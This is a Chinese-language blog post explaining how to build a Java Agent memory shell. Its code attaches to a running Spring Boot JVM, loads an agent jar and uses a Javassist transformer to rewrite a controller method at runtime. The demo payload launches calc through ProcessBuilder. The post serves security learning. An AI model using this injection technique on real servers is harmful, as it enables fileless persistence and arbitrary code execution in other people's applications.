Java Agent 内存马

Java Agent

agentmain

  1. 定义类,写入agentmain
1
2
3
4
5
public static void agentmain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m agentmain!!!");
}
}

编写META-INF/MANIFEST.MF

1
2
3
4
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Agent-Class: com.shiroha.demo.AgentDemo

将类和MF文件打包成jar

  1. 利用com.sun.tools.attach.VirtualMachine附加进程,
1
2
3
4
5
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine virtualMachine = VirtualMachine.attach("{pid}");
virtualMachine.loadAgent("{jar path}");
virtualMachine.detach();
}
image-20230704142834017

Instrumentation

  1. 用于操作目标JVM的可控类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
}
  1. 写入恶意逻辑到Transformer,然后通过inst寻找目标中可以控制修改的类

agentmain:

1
2
3
4
5
6
7
8
9
// 寻找可控的类,匹配到执行ClassFileTransformer的transform方法结合Javassist修改目标类的字节码
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class clazz : allLoadedClasses) {
System.out.println("class ==> " + clazz.getName());
if (clazz.getName().equals(TransformerDemo.editClassName)) {
inst.addTransformer(new TransformerDemo(), true);
inst.retransformClasses(clazz);
}
}

Transformer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TransformerDemo implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
new ProcessBuilder("calc").start();
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
// editClassName 目标类的全类名
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethodName);
ctMethod.setBody("{return \"inject success!!!\";}");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
} catch (IOException | NotFoundException | CannotCompileException e) {
throw new RuntimeException(e);
}
}
}
  1. 生成agentmain的jar,写META-INF/MANIFEST.MF,然后build Artifacts
1
2
3
4
5
6
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true
Agent-Class: com.shiroha.demo.AgentDemo

  1. 启动Springboot,通过VirtualMechine附加进程,然后注入agentmain的jar
1
2
3
VirtualMachine virtualMachine = VirtualMachine.attach("13192");
virtualMachine.loadAgent("{path to agent jar}\\javaagent1.jar");
virtualMachine.detach();

遇到的小问题

  • inst去寻找加载的classes的时候,发现找pojo类是找不到的,所以这里选择了controller
Author: Aizlm
Link: https://aizlm.github.io/2023/06/15/Java-Agent-内存马/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.